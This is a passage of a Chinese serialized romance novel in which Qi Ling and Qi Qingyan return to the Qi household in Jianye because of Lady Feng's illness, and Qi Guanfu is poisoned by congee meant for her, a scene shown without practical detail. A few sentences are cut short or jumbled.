天色暗时,林中愈冷,贡承带了马车来带两人回去。回到原地,车马皆在。银盘急急迎上,身后是秦葭之。 秦葭之送他们回建业去。 再回到临川祁府,祁清宴忽而忙了起来,祁泠也不想问为何。只是他用救了她恩情相胁,将府上账册人情往来全交由她管,不会之处等他回来教。 这便是人的不同了。 若是祁泠,绝不会如此。祁清宴就不一样了,一番冠冕堂皇的话,言他受伤实在无法看顾府上,说得祁泠不答应就是没良心般,她素来心软,只好应下。 每日无论他忙到多晚都会归来。 夜深人静,即将要亮起的天色,祁清宴的吻急切,祁泠从梦中醒来,迷糊着忙推他道:“再过一会儿,你便要走了。来不及吧,来不及。” “不碰你,只是亲一下。”祁清宴喘着气,手放在柔软的腰肢,将人扣在怀里:“睡吧。” 祁泠唔一声,又睡过去。 只是间隔的太短,她还迷迷糊糊着,没睡熟,祁清宴就已经起身,衣料摩挲的细碎声音响起。 她睁开看,帐子半敞着,朦胧的男人身影立在外侧。天色尚且昏暗,他回来了多久,一定没到两个时辰,一个时辰? 听说他每日去郡守府,燕徊梁的府邸。一来一回便要一个多时辰,他回来只是为了抱着她一会儿? 祁泠睁着眼睛,呼吸的声音轻,他也有些晕沉,没察觉到她醒了,穿戴好俯身过去,轻掩好被角。转身出门,入了夜色。 她再睁眼,却是有些清醒了。 来往多日,直到年节前。祁清宴说他要出门一趟,祁泠彼时正在用膳,夹菜的动作一停,没控制住地抬眼看他。 上次他同她说要出去几日,两人还在建业。然后她用了点小心思想要逃走,而他一听她出门,就要接她一起,阴差阳错最终双双到了此处。 祁清宴解释道:“你总说想回建业,这回也快了。徊粱身负要任,我随他去最高的山,那处有亭子,可窥见整个临川地貌,便他行事。” 他看着祁泠,?” 祁泠想都没想,脑袋摇的像拨浪鼓。在他注视下,脑中想了想推辞的理由,慢吞吞道:“再过四日就除岁了,我在家中准备准备。” 殊不知这番话让祁清宴笑出来,她如此更像贤妻了。他想同她亲近,但两人最近保持着隔两日行事的规律。 不是他寻常不想,只是若是每日都腻歪,没由头让她心甘情愿的吃药了。 也罢。他抬手,,爱不释手,祁泠嗔怒又不敢言,生怕他强带他去,只能瞪着他。 祁清宴噗嗤一声笑出来,“好了,等我回来吧,你闲着可去寻余夫人或林照君。” 林照君住的地方不远,燕徊梁帮她租下一处安静院落,白日无事时祁泠也会去。这回去时带着些年货。 事,或许是年味愈浓,众人皆团圆,再加上两人渐渐相熟。她问:“阿媅,你来自建业祁家,?” 祁份,毕竟天下没有不透风的墙,虽然犹疑,还是她不习惯骗人,还是点点头。 林照君的神情忽而变得几分怪异,嘴开了又阖。 两人时常见面,她靠着绣活也维持着生计,祁泠时不时前来接济,带着她的侍女,两人一般良善。 她再重的戒心都放下几分,为了确定,又问:“你们家……是不是有过和离归家的姑奶奶?” 祁泠脑子嗡一声,看着林照君郑重神情,转瞬思绪如麻。 得到准确的回答,林照君垂头绣着手中衣裳,没再继续往下问,只是动作到底慢了些。 冬奴在院中和银盘一起玩,他进屋喊娘亲,想要木球玩。林照君都没听见,还是祁泠起身从箱子上拿下,递给冬奴。 冬奴什么都不懂,跑得满头大汗,拿到木球立刻往院中跑。 林照君过了许久才道:“我那时太小了,但记着,有位叔母,姓祁。” 祁泠心中猜测变了真,心中久久平复不下来。祁清宴啊祁清宴,她知他救一人没那么简单,帮了她几回她便搭进去了。原来祁既白祁望舒,从前应当是林既白、林望舒么? 两人一时沉默,只有银盘和冬奴的笑声在院中响起。 祁泠不知该怎么说。 她的姑母一家待她不错,表哥表姐也当她是祁家亲生。那在林照君面前,她便是祁望舒的侄女,遂解释道:“姑母带着孩子归家,此后一直留在祁家,未再嫁。祖母说姑母回到祁家时心存死志,为了一双儿女才活过来,表哥表姐如今在祁家,都很好。” “挺好的。”林照君垂着头缝着衣裳,坦诚道:“再早个七八年,我还会有几分莫名的怨。如今当真没有一丝,我明白,能活下来才最重要。” 她说到此处,道:“对了,今早我带冬奴去买菜时听到,有片山崩了,听说砸死些人,也有人失踪。” “哪里?”祁泠的心咯噔一声,不好的预感浮上心间。林照君起身指了指,“我们来时那条路,再往南边一些,似乎是这一片最高的山。” 需登高看地势,若她没记错的话,祁清宴去的就是那里。 安寝前,耳边皆是他那句,晚间会归来。她睡得浑浑噩噩,似乎有人环住她,她急急睁眼。夜静寒凉,身旁无人,只是她的梦,被褥整齐干净,同她入睡前一样。 祁泠再也睡不着了。 转眼到了除岁日,府上四处挂红,却没什么喜气。 连着三晚未得安寝,祁泠心中不安,也睡不着,没有守岁的心,站在门前,不知在等什么。 一颗心起起伏伏,不得安稳。 脚步声响起,有人从前院快步走来,同走时穿着一样的外袍,上面脏污,他亦憔悴,面有划伤,疲惫不堪。 本以为她睡了,即使他不回来,她也不会在意,毕竟他的死活与她无关。 可祁泠站在屋前,寝衣外面披着单薄外衣,一头青丝披散,眼中含着一点泪意,望着他,一眨眼泪就落下。 如何不令人心尖发颤。 他大步上前,将人揽在怀里,从未从此紧,满心欢喜。 尘土迎面,有些脏。可祁泠难掩泪意,哭得愈发难过,先是哽咽,几十息过后变成了止不住的抽噎。 祁清宴抚着她脑后,安慰道:“没事了,我没事,阿泠。只是遇上山崩,被困了两日而已。” 祁泠则摇头,死死咬着唇,唇边发白,几乎尝到血味。是有一点对他的担忧没错,但更多,绝大多心思是害怕,因为她自己而生出来的害怕。 她竟全然习惯了他。 甚至他不在身边会因此睡不安稳。 她应该怨他,厌恶他,乃至恨他。他回不来,她应该高兴才是,她终于可以摆脱,可是她不想他死,不想他死在这里。 她便厌恶自己。为什么不能单纯地怨恨他,为什么明知他的算计,还要中了算计。 泪无声滑落,祁清宴擦去,也明白了。“别哭,皆是我的错。” 错了也不改,反倒执拗、卑劣地一意孤行下去,即使生拉硬拽也要从她心中占有方寸之地。 他的阿泠。 他猜到,或者一早就知道她会心软。所以才一直锲而不舍地同她一处,必须在他身边,并不强迫她。 若是强来,以祁泠的决然,永远得不到心。他了解她,有人真心对她好,她能冷下脸,但冷不下心。这便是他的阿泠。 翌日两人再未提此事,只是共同度正月,一同用膳,商议府中事。他偶尔出府,其余空闲都在府中。 祁清宴思量着出去共度上元,正月十四却有急信从建业祁府传来,他看后,寻到正看府中账册的祁泠。 “阿泠,我们明日回建业。” 第59章 第五十九章【VIP】 “为何要突然回去?” 祁泠想回到建业,但他突然提起明显不对,昨日还说至少要在此过完正月,等到二月再回去。 屋内浸透暖香,她长久在此,满室皆染了她的味道。短短十几日恍若隔日,匆匆而过,在这里的日子安稳到让人沉溺。 可不会长久在此。 他在建业有羁绊,她也是。 “是叔母,”祁清宴知晓冯夫人对祁泠的重要,抬眼看向祁泠,眸中带着担忧,但还是如实告诉她信中事,“叔母年节时染了风寒,近日卧病在床。” 祁泠浑身卸力,身子止不住地往倒靠,被他的手扶住,不至于从榻上栽落而下。顿了许久,发出的声音很轻:“很严重吗?” “会无碍的,阿泠。”他道:“我们先回去,昼夜不歇,急赶半月可归。我们请朴老与我们同回,别怕。” “不要明日,立刻就走……”祁泠眼中转瞬蒙上一层雾,攥紧他的手,反复念着立刻走。 只是风寒,早该好了,也不会传急信来了。冯夫人的身子她也知道,先前在江州便有几次不好。 立刻回去,只是怕个万一。 “好。”祁清宴毫不犹豫,干脆应道。 他喊了银盘进来陪着祁泠,而他去准备回去的车马,离开此地总要做些筹备。他的事还未做完,可不能让祁泠自己回去,路途甚远,出意外又该怎么办。 天色微暗时,车马从临川祁府离开,踏上回建业祁府的路。 来不及多说,祁泠只抽空留给林照君母子口信,来日可在建业相聚。 此地她不会归来,也无暇思考以后。一离开临川城,在此如幻梦,遇到的人或事皆虚幻。连最后的些许难得和睦的日子也变得浮白。 祁泠话少,昼夜不歇的赶路,每日停下用膳时吃得也少。难得休憩在客栈,即使人能挺的住,马匹也需要休息。 面前是养胃炖得软烂的粥,还有几个清淡小菜,祁泠拿着勺子,每次只舀些许进嘴。她本便瘦,走了四五日又瘦了一大圈,显得一张脸更小。 祁清宴看了看坐在旁边小桌,和沉弦一起用膳的银盘,她饿得捧着一大碗,吃得极香。 衬得祁泠吃的更少了。 他移了身下的椅子,同祁泠坐的近了些,端起碗,盛大半勺递到她嘴边。祁泠摇摇头,“我不想吃。” “回去还要将近十日,你要病着回去,令叔母担心吗?” 一提起冯夫人,祁泠又默默含泪了,态度有所松动,祁清宴接着道:“我已派人去淮陵,等后日或大后日我们路过,去接上冯妆一同。她陪着你回建业见叔母,叔母见到自家侄女,也会高兴些。” “嗯。”祁泠点点头,这回由着他喂了大半碗粥,腹中发胀觉出饱了,推开他的手,不要再吃了。 几日来未曾睡过一个整觉,在客栈休息一碗。祁泠自己无事,但顾及有其他人,也点头答应了。 不知是何处的城镇,晚间街上仍摩肩擦踵,留着些年味。不宽阔也不算狭隘的街旁,偶尔拐角处支着花灯摊子,摆着上元节未能卖出去的花灯。 小孩子们拿着上元买的花灯,在街上跑闹,嘻嘻哈哈笑闹着。 祁泠手里也有一盏宫灯,他挑了摊中最好看的一个,另外空着的手由他牵着。走在街上,看着周围热闹景象,她却心神不宁,只是被他拉出来走走。 一是习惯了他的亲近。 二便是在此地无人认识,随他去。 形形色色的人从两人身边路过,怀抱幼子的妇人,挑担的吆喝的卖货郎,来回独往的人。 祁泠无心注意旁人,可余光看到带着孩子的母亲就想起冯夫人,转头问祁清宴:“建业今日有信传来吗?” 有倒是有,不过冯夫人还如往日一样,告诉她不如不告诉,他张嘴言语了几句。 可声音太小,周围人声嘈杂,祁泠听不清,只好往他旁边靠,仰头看着他,同他距离近上许多。 一对夫妻,前有侍卫,后有奴仆跟随。其中妻子目光停驻,脚步也随之停下。 她身旁的夫君一顿,立刻察觉到妻子的异常,转身温和问:“絮娘,怎么了?” 他口中名絮娘的夫人,扭头望着街角边的翩翩衣角,再看不见那娘子身影,心却跳得奇怪。 她转过头,一双秋水般潋滟的眸,眉,声音含惑:“夫君,方才走过一位娘子, 她蹙眉,捂着额头,几分痛苦模样,“可我想不起来。” ,走吧,絮娘。”男子道。 …… ,到了淮陵。 翌日清晨祁泠独自前去,接到冯妆。 冯妆听说冯夫人生病前还是叽叽喳喳的,像只殷勤的话痨小黄鹂,在祁泠耳边不停问她身子好了没有,她去了几次想要找祁泠一起玩,可府前的下人都说她病了。 定是祁清宴吩咐的,可不是说她病了,也遮掩不过去她不在淮陵事。 祁泠含糊同冯妆说了几句,提起冯夫人病重后,冯妆立刻蔫了。 自接到冯妆,祁清宴未同两人一起走。过了一日才重新出现,若途中相遇。 七日之后,入建业,至祁府。 祁府前,无人迎接。众人都不知两人回来,门房见此,其中一人飞溜进府通禀去了。 祁清宴站在马车前,等祁泠下了马车,同她道:“阿泠,先随我去祖母那里。稍后我与你一起去探望叔母。” 说话间,冯妆也从马车上下来,站在祁泠身后,心里一半想着姑母,另一半是来到陌生之地的好奇不安。 祁泠点头,带着冯妆一同去见老夫人。重新回到府上,怎么也先要去瑞霭堂见过祖母。 走在去瑞霭堂的路上,脸熟或是脸生的侍从请安,道了一声又一声,三郎君三娘子安。 熟悉的院景与人,皆提醒着祁泠又到建业,祁府有祁家所有亲人。 在此两人只是隔着一房的嫡子与养女,再无任何交集。是走得近些,会被怀疑有染的关系。 她拉着冯妆,脚下步子慢下,不知不觉就远了祁清宴几步。 前面人回头,看见,并未作声。 如此进了瑞霭堂。 第60章 第六十章【VIP】 沈老夫人提前不到半盏茶的功夫知道两人回来,一听到立刻起身去迎,扶起正欲行礼问安的祁清宴仔细端详,眼角闪着泪花儿,嘴里直道瘦了瘦了。 祁清宴同祖母说了几句话,随后侧身:“我听说妹妹在淮陵,回程时顺便捎带妹妹和冯家娘子一起回来。” 沈老夫人随着转头,见到了站在不远处的祁泠。 她后面还有位娘子,此时又是祁泠重要了。老夫人看着祁泠,这个才是实打实的瘦了太多,她走上前拉起祁泠的手,皱着的眉梢带着心疼又有几分埋怨,“泠丫头,你怎么瘦了怎么多?女儿家在外,到底不好。当初走得那样急,吓了我一跳,新岁都没在家,守岁那晚只缺你们两个。” 祁泠的心提着,既担忧母亲,近乡情怯,生怕见到冯夫人不好的样子。一口气没松下,就因老夫人的话又有些羞愧,垂着脑袋。 当时急急离家,全是为了躲祁清宴。不承想没有一点用处,反倒同他一起走了那么久。 “祖母,妹妹是听了叔母的信儿,急赶回来的。”祁清宴在旁道。 “你母亲啊,”老夫人叹了口气,之后语气变得淡了些:“听说今早有了起色,想来是没事的,休养一番也能好起来。你父亲自打年节后都在家中,告病这么多日,我看就差辞官了。” “夫妻琴瑟和鸣,和和睦睦才好,祖母不一直盼望着家中和气么?”祁清宴笑起来,“叔父因此长留家中,也好。左右是清闲的职位。” “你呀,”老夫人摇摇头,不大赞同,再清闲的职也不能丢了官位啊。 但因着二房心中的不舒服到底散了些许。打眼又瞧见了后面站着的小娘子,招招手,“这是冯家的小娘子吧。” 冯妆第一次见老夫人,跪在地上磕了头,敬喊了老祖宗。 老夫人将人叫起来,褪下手上玉镯子,给出去当见面礼。对待冯家人,她虽印象不大好,但一个小娘子,态度也亲切只是不大热络,“既来了,便当做自己家安心住着,住在何处……让阿泠为你安排。” 祁泠被老夫人拉着坐旁边,陪着说了会话。因为听见冯夫人身子见好的消息,稍微松了一口气,没那么紧张。 听荷奉茶进来,依次递到各位主子身旁。 沈老夫人端起来喝口润润嗓子,想起方才,精明的咂摸出几分不对,眯着眼打量着独坐对面的祁清宴,“你怎么出去一趟……开窍了似的?还夫妻和睦?” “从前说不出这么黏腻的话,一提婚事要命般,不是哑巴了就是嫌烦,怎么了这是?” 听荷捂着嘴笑,同老夫人道:“可三郎君说的在理不是。” 老夫人也笑。内心琢磨这或许是有了喜欢的人,看来婚事有望,“你母亲前几日还来寻我,要给你看婚事,你如今回来了,自己挑就是了。” 祁泠嗫着茶水,忽而察觉有视线紧盯着她,她抬眼正对祁清宴的眸子,恍若被烫到,她立刻移开视线。 察觉老夫人有留祁清宴多说话的意思,她不想再留,也不顾着祁清宴说的什么与她一同回二房的话,率先起身告退。 带着冯妆先回二房去,打心底有避着祁清宴的意思。 即使还未走到正房,药的苦涩味也沁鼻。 嬷嬷端着空药碗出来,冷不防在门口见到祁泠,激动的几乎欲掉下泪来,忙将手上的碗推给旁边的小丫鬟,上前紧紧握着祁泠的手,“娘子回来了,夫人还不知道呢,等下见到娘子肯定欢喜得很!” 屋内有主子,玉盘就候在外问。听见声儿从内里出来,先给祁泠问了安。 视线随后到银盘身上,银盘没了往日同姐姐吵架的蛮横,几步走过去,倚在姐姐旁边,软糯糯喊了几声姐姐,亲昵极了。 祁泠看在眼中,心中轻了些,听见屋里静悄悄的,先问嬷嬷冯夫人情况。 嬷嬷唉声叹气,同祁泠诉道:“娘子,是除岁那晚,小娘子和姑奶奶院的小郎君一块玩,两人跑到雪*堆里,一同染上风寒,回来过了夫人。夫人病了几日也见好,都怪奴婢,晚问没一直看顾着夫人,夫人夜问起身开窗透气,吹了大半晚凉风,此后又反复起来。前几日发热吓人,从昨晚起精神倒是好多了。” 夫人说的祁观复近些日都在府上。 嬷嬷引着祁泠望屋里走,子不离院儿,就住东边的厢房里,白日晚问守在夫人身边,每晚那院以什么由头来请,都没用。” 祁泠一听就知那院怕是又记恨上了母亲,此时也不重要。 进了屋,入内里。 尚未过午,浅淡的光盈满室内,固执不散的药味也带了一丝暖和意思。冯夫人卧在榻边,闭目养神。窗檐处罗汉榻上祁观复解着九连环,祁云漪趴在桌上无精打采盯着,不大想学。 ,惊起尘埃浮动。 祁泠给父亲母亲请安,祁云漪鲤鱼打挺一坐起,喊姐姐,冲过来抱着祁泠腿。 她顺势摸了摸祁云漪头。长高了些。 回肉和精气一同散了干净,冯夫人又似初至建业时,空荡荡的撑不起衣裳。 见到祁泠,她苍白的面上浮出一点笑来,“我们阿泠回来了。” “一晃三月,也该回来了。”祁观复道。他如慈父,考虑良多,“是听到你母亲的消息,急着赶回来吧?阿泠胆子小,怕是被吓到了。” 冯妆上前,跪在地上,又端端正正道了姑父姑母安。 冯夫人抬手唤她至近处,仔细看了看,“是小妆啊,这般大了,姑母还是头次见你。在此住下,姑母替你在建业寻门亲事,有了婚约,再回冯家罢。” 她自己就是从冯家出来的,再清楚不过冯家女儿会如何。 冯妆自己还没开口,冯夫人就替她打算好了以后,一时愧疚又不安。 姐妹俩被冯夫人唤至身边,冯夫人牵住祁泠的手。 走到近前,看冯夫人,与江州病重时没什么不同,哪里有她们口中说的人好了的样子。祁泠还是没控制住哭意,落下几滴泪,抽噎起来。 冯夫人只是同冯妆说了几句话,随后转头望着祁泠,同她道:“我没事阿泠,不要担心,也不必哭。之前同你说过,世上生老病死躲不过,我自知时日无多,只是能拖,再拖一阵儿罢了。” 祁泠哭得愈发难过,上气不接下气的。冯妆递给表姐帕子,拘谨看着姑母。而祁云漪还小,依赖抱着母亲。 “栖梧。”祁观复唤了一声,无力道:“不要说那些丧气话。” “大人,夫人,三郎君来了,还带着要给夫人看诊的疾医。”玉盘匆匆进来通禀,生怕耽误了让人在院外等太久。 屋内低沉情绪因此消失,祁观复停下说了一半的话,起身去了外面迎侄子。 祁泠扶着母亲坐起,低垂着眸,做出一副不熟模样。 祁清宴停步在屏风外问了安,又道了来意。由朴正卿憔悴入内,给冯夫人把了脉,一声不吭出门去了。 院中,祁观复急拦住要走的老疾医,“先生为何一言不发就要走,我夫人如何?” 祁清宴也在一旁,也关心冯夫人,因着祁泠。 一路急赶回建业,朴正卿累得不轻,一把老骨头险些散了架。把脉过后也动了气,没好气道:“人有想活的念头,抓药喝药才有用。不想活了,任凭天王老子来了也没用。” 他一甩袖子,便要走。 “先生……”祁观复紧扯住朴正卿的衣角,“劳烦先生为栖梧开些药吧。”他恍若老了几岁,神色颓唐。 祁清宴望了眼屋内,门窗紧闭,一回到建业,祁泠就像耗子见猫般躲着他,注定不会出来见他了。 听着叔父央着朴正卿,他觉得二房实在太乱,叔父既心系叔母,压过正妻的妾室庶子庶女又算怎么回事? 怪不得,她当初要寻一心一意的良婿。如此荒谬之际,周围乱极,声音嘈杂,他竟诡异地明白了祁泠当初的想法。 祁泠则陪着冯夫人,此后一连多日都守在,早上来,等到冯夫人睡了再回去。 老夫人吩咐过,祁观复才不整日呆在院中,上了折子重新上值。 天色尚未明,二房一片寂静。 嬷嬷端了滚热的苦药进来,稍晾晾递给冯夫人喝。那疾医吩咐的用药时辰,迟些都不可。 “漪漪和阿泠呢,两个孩子都不在,去哪了。”祁观复走进冯夫人屋子脚步自然,还穿着朝服。 嬷嬷正为冯夫人盘发,见此动作快了些,嘴也笑着,夫人的身子有了点好转,大人又整日都在这里,雷打不动。 穿着朝服,正是上朝的时辰,他却没去。 “漪漪还未起,阿泠被老夫人叫去了,似乎有事。”冯夫人睨他一眼:“你昨日不说陛下朝后有事传唤?” “我姓祁,所言之事陛下不会真心听信,不去也罢。不如入宫告病,再归家。”他想要接过嬷嬷手中梳子,可冯夫人不应允,只能作罢。 坐在一旁,默默守着冯夫人。 丫鬟端着熬好的蟹黄粥进来。 冯夫人早问喝过药,都要用些粥,近日才养成的习惯。 丫鬟将粥奉到旁边,嬷嬷接过又递给冯夫人。冯夫人闻见那腥味,顿时不想喝了,眉问皱纹加深,但小厨房熬好了送过来的,她不喜为旁人添麻烦。 还是端过来,舀起一勺。 “等等。”祁观复起身,指腹碰在碗壁,烫手。他无奈道:“栖梧,太烫了。” 冯夫人不愿他指手画脚,不打算听他的放凉,再凉更腥了。 祁观复从她手里拿过来,看出她不愿喝,吩咐丫鬟道:“去小厨房吩咐熬一碗燕窝来,夫人口味清淡,以后鱼腥物晨问不必送来。” 丫鬟垂着头应是,起身去了后面。 待过了一盏茶,重送进一碗粥。夫妻二人一同用膳,祁观复喝着先前送来的蟹黄粥,冯夫人喝了他摸过碗边不烫的燕窝。 60-70 第61章 第六十一章【VIP】 祁泠在瑞霭堂中,天色灰蒙蒙,按照往日这个时辰,她应当在冯夫人院中。 此刻她在榻旁,安静坐着,视线中是夫人如意纹锦绣的衣摆,老夫人的声音带着些疲惫,“你父亲母亲无暇顾忌你的婚事,冯家的小女儿又来了,你母亲更忙。依你伯母的意思,不能耽误了你,这桩婚,你可愿意?” “我不愿意,祖母,大夫人。”祁泠语气平淡,“母亲尚且病重,我无心商议婚事。等母亲彻底好了,同她商议过才好。” 她抬眼,在大夫人眼中看见了丝丝厌恶。 可祁泠不想妥协。谁知大夫人会选出什么样的婚事给她。与其祁清宴听闻后在其中作乱,不如她自己拒了。 大夫人一扯嘴角,没想到祁泠直接拒了,虽是她远方亲戚的侄子,沾不上慕容家的边,但怎么也是清清白白的士族公子,配祁泠还是绰绰有余。 她压着杯沿,冷声道:“我那侄儿只是丧妻有子,未必配不上你。” 祁泠不言语,沉默着,却做出不妥协的态度。 底气是由谁给的。 一想起这茬大夫人又难免动气。本想着祁清宴走后,趁着祁观颐也还没回来,寻个能说得过去的人家,将祁泠嫁出去也算了。 未成想祁清宴走了,祁泠也跟着走了。一朝都回来,此事又难办了。 外面脚步声传进,听荷进来低声禀一句,“老夫人,大夫人,三娘子。大人回来了。” 来人声音在门口响起,浑厚又语调轻快,“母亲,何事惹得屋内这么热闹?” 声至,年逾四十的祁观颐也进了屋,经年风沙吹走了祁家一贯的白,不同于弟弟的周身文臣迂腐气,一袭墨绿圆领袍子裹在挺括身躯上。 祁清宴随了父亲的硬朗轮廓,却有更多母亲的精致讲究。 看着大儿子,老夫人笑了笑,避重就轻,没如实说,只道:“孙儿孙女都在身边,就操不完的心呐,孩子多了自然热闹。”说罢,抬手指了指,“这是老二家的阿泠。” 祁泠是在场唯一的小辈,在祁观颐进屋时已起身,行了个标准的礼,“叔父安好。” “阿泠啊,”祁观颐停下脚步,深邃的目光望着祁泠,难得柔和些,只觉对面的祁泠实在长得太小太瘦了,说话轻声轻气的,带着显而易见的生疏。 “一晃眼过去十多年了……”他垂头,将腰间挂着的一把镶嵌宝石的小刀摘下,“女儿家不能气势太弱,这把刀我在北关时在宫殿遗址中取到,带着北关的沙土,愿庇佑阿泠无灾无恙。” “去吧,泠丫头。”老夫人话紧接着祁观颐落下,懵着的祁泠上前去,手心落入冰凉的匕首。 这似乎是她印象中第一次见祁观颐,她的身世祁家人尽皆知,如今的家主祁观颐定然也知道。 她有点诧异,道了谢又回到老夫人身边。 方才要给祁泠寻婚事的事戛然而止。老夫人不同意将祁泠嫁去人家当继室的,是迫于大夫人强硬的态度才唤祁泠来。 而祁观颐来后,大夫人不再说话,这事彻底没了后续。 “清宴呢,什么时辰了,今还没来请安?”看着祁泠,祁观颐想起了祁清宴,回家多日,他还没见到儿子几面。 沈老夫人道:“别挑他了。去一趟那般远的地方,回来也没怎么歇着,一天不落的来我这请安。请安后再出门去,偶尔下午也要来待,是儿辈孙辈最孝顺的孩子了。” 祁观颐印象里儿子对家里人不亲,哪里会是每天给祖母请安的人。说话间被老夫人暗戳戳埋怨了一通只得苦笑,余光中祁泠端秀坐着,让人想起她在祁家的尴尬身份,不免怜惜。 他道:“阿泠,既然清宴在家,无事去琅玕院寻你兄长。我听说你们关系好,都是一家人,来日也能相互照应。” 祁泠握着袖口的手生汗,她无从知晓,祁观颐是不是听到了什么风言风语。 无从辩解,无法回答。还是老夫人见到大夫人的面色不善,以要说话的由头支了祁泠出去。 祁泠沿路回二房,银盘困得眉眼耷拉,一从小门进二房的院,就见院内侍从匆忙跑着,乱成一团。 银盘一定神,“娘子,怎么了这是?” 祁泠也不知晓,下意识提起裙角快步往回,听见从正院跑出来的丫鬟大声喊着,府医府医。 那一瞬,宛如一盆冷水泼下,整个人冷到发抖, 只缓了缓神,她用着最快的步伐往回跑,落,用袖子一抹,又往回跑。 静谧了几日的屋子此刻满室狼藉。 榻边散落大小不一的瓷片,混着黏腻粥,被来来往往的人踩得脏污,嬷嬷搀着冯夫人在榻旁哭,玉盘护着哭嚎的祁云漪,不让她看。 而榻上的人不是冯夫人,换成了祁观复,仰着面,神志不清,最先赶来的府医在灌着汤药。 “阿泠,阿泠!”祁泠到冯夫人旁,冯夫人颤巍巍扶着祁泠的手,抓住救命稻草般,“……你父亲,喝了一半粥,突然倒了下去。” “母亲,别怕。”她安慰着冯夫人,脑子却惊到麻木,也快速思量着,看见榻边散落的血,猜或许是中了毒。 “母亲,你守着父亲,我怕,怕这些府医救不回父亲,不想站在这里慌张等待,她只。 离了冯夫人的院子,出二房小门,过院子,再从老夫人门前过去。 她脚步未停,直往琅玕院去,记得祁清宴院中的老者,隔来的郎君。 祁泠从未如此慌张,急切。祁清宴心也一停,大步过去扶起几乎竭力的祁泠,“阿泠,怎么了?” “父亲……”她仰面,已经满脸挂泪,“父亲似乎中毒了!” …… 祁府的三位府医都已围在榻前面,这药性急,又查不出来是何毒。只能当成最凶险的来,灌了药又施着针。 围了好一会儿,人渐渐醒了过来,却没有府医为此感到轻松。没吐出来,也没好转,暂时也找不到解药。 “栖梧,栖梧……” 祁观复什么都没问,一双眼睁开,动了动头,望向冯夫人。嘴角咳出些许黑血,又攥紧冯夫人的手,“对不住,我要是死了,你好好的……住在祁家或者搬出去。” “对不起,当初不该娶你,又负你,不想放手,蹉跎你多年。” “如果能重来,我不会、不会听母亲安排,不会让你受苦。”他想握紧,却没力气,只是眼前愈发昏沉,想再张口说话也无法。 其余人唤她夫人,但她是栖梧。 心肠温柔之人闻此更是伤怀,最后还是牵紧他的手,冯夫人头抵在上面,不住地哭,却不停道:“我恨你。” 祁观复听见了,握了握她的手,又松开。眼前昏暗,耳边也听不清任何声响。 只记得。 许多深夜,难能入睡时,周围寂静,月光寥寥,思绪恍然回到青葱,年少发妻卧在膝上,两手相牵,同他温婉笑语。 吾妻栖梧,再难见,恐不会再见。 第62章 第六十二章【VIP】 又过一盏茶的功夫,各房都听说了,在府上的都赶来二房。 下面没人敢瞒着,老夫人也知晓了,立刻来看儿子,哭得不成样子,当初丧夫、娘家皆亡的悲痛又忆起,祁观复、祁观岚皆围在母亲身旁。 祁泠扶着冯夫人,紧张看着榻边正看诊的朴正卿。 朴正卿捡起地上的粥,用手指碾碎,凑近鼻尖,细细分辨过道:“似乎是一种鱼类的毒,我曾在医书上见到,有人捡怪鱼烹食,中毒身亡。此乃剧毒,发作极快,索性用量不多,接着灌催吐的药,再加些虎狼之药对冲,再等等,或许人还能活。” 他语速极快,说罢便亲眼去盯着抓药、熬药。 沈老夫人长长喘过一口气,抓住一丝儿子能活命的机会。 只觉喘不过气,看了看周围,几房的孩子都在,她挥手道:“小辈都回去,留大人在就好。” 祁泠不想回,冯夫人拍拍她的手,“阿泠,回去罢。母亲在这里守着呢,你晚间再来。” 祁望舒、祁既白已经出去了,只有神情肃廖的祁观颐、满脸担忧之色的祁观岚还有大夫人留下。祁泠也先出了门。 心里难受,眼里落下泪,她低垂着头,抬袖擦掉。 “阿泠,我送你回去。”祁清宴站在院中,他转头吩咐贡承,“你留在此细细的查。” 祁泠在前默默地走,祁清宴在她身后一步远的位置,慢步跟着,直到了辛夷阁,眼瞧着要进她的卧房。 祁泠才回头,开口想让他回去,但止不住哭音,问:“祁清宴,父亲他、他会没事吗?” “没事的。”携着冷清熏香的怀抱将她紧裹,是她信任的,仅此于冯夫人的人。 祁清宴安慰着:“府医都在,还有朴老,会没事的。别害怕阿泠,我在这里。躺下什么都别想。” “父亲是替母亲喝下的,”她听嬷嬷说了仔细经过,此刻同他说着,来缓着心头不安,“是有人要害母亲。” 窗棂下有美人榻,铺着绒毯子,他让祁泠平躺着,枕在他膝上,轻声道:“祖母已遣人喊柳姨娘去问话,将我们支走是为了处置此事,会查清。” 青娥进来,低垂着头,“郎君,娘子,二房的大人解了毒,只是人还醒。” 祁泠欲起身,而祁清宴道:“阿泠,听叔母的话,晚些再去吧。” 如今冯夫人的院子里人多,事还没料理完。 他轻轻拍着祁泠的肩,她一遍遍担忧,他一次次安抚。直到她呼吸渐轻。 这回青娥在外守着,不让不相干的人进来。只是一个小萝卜头猫着腰,青娥同他说不明白,他一弯身溜进来,踩着小鞋咚咚走到美人榻边。 祁清宴抬手抵唇,阿濯明白这是哥哥不然他说话,乖乖地呲着没长齐的牙。 青娥追进来,“郎君……” 祁清宴摇头,抱起睡熟的祁泠,褪去她鞋袜,又盖上薄被,才牵着阿濯出门。 二房前,祁观岚焦急让人去寻儿子。 祁清宴看了眼祁观岚身后的侍卫,唤了声姑母,松开手,阿濯扑腾着跑过去。 祁观岚抱起小阿濯,不禁低声斥道:“去哪里疯跑了,娘告诉你不要瞎跑,跟着侍女回房,你就不听。” 阿濯撇了撇嘴,“哥哥在哄姐姐睡觉,阿濯也困了。”说着,抬起软乎乎的小手捂着嘴,打了个哈欠。 模样可爱得人心都化了,祁观岚也不忍心再说,什么都不懂的孩子…… 只是,他说的什么话? 她望向侄子,祁清宴则问:“姑母,叔父可醒了?” 这话移了祁观岚心神,她摇摇头,二哥还没醒,生死不明,也无心看管儿子,递给身后侍卫,“送他回去吧,让舒儿照看,也嘱咐她不必来了。” 侍卫应是,从祁观岚手中抱过阿濯。阿濯一点不怕,反倒亲昵抱住男人脖子,倚在上面。 这和睦一幕落入祁清宴,他不动声色同祁观岚一同回了二房院子。 跪在院中的柳姨娘声声辩驳着不是她,可聚了祁家这么多人,查到厨房今日只有她身边的丫鬟起早来了一趟,由不得她辩驳。 听过厨房丫鬟婆子的话,老夫人抬手指着柳姨娘和身边婢女,“给我绑上这贱妇,即刻拉下去发落了”。 祁云漱从父亲处出来,见此哭着跪在老夫人脚下,“祖母,祖母!姨娘不会害父亲……也没有那么大的胆子,能明目张胆地去害母亲,其中定有误会。” “误会,什么毒,我就能饶了她?”老夫人由大夫人扶着,气得嘴唇发紫,“去给我细细地查,看误会,定要做实了她的罪。” 听到要查药从何处来,柳姨娘面如土色,得知毒发的人不是冯夫人,而是祁观复,那时她就知自己躲不过。 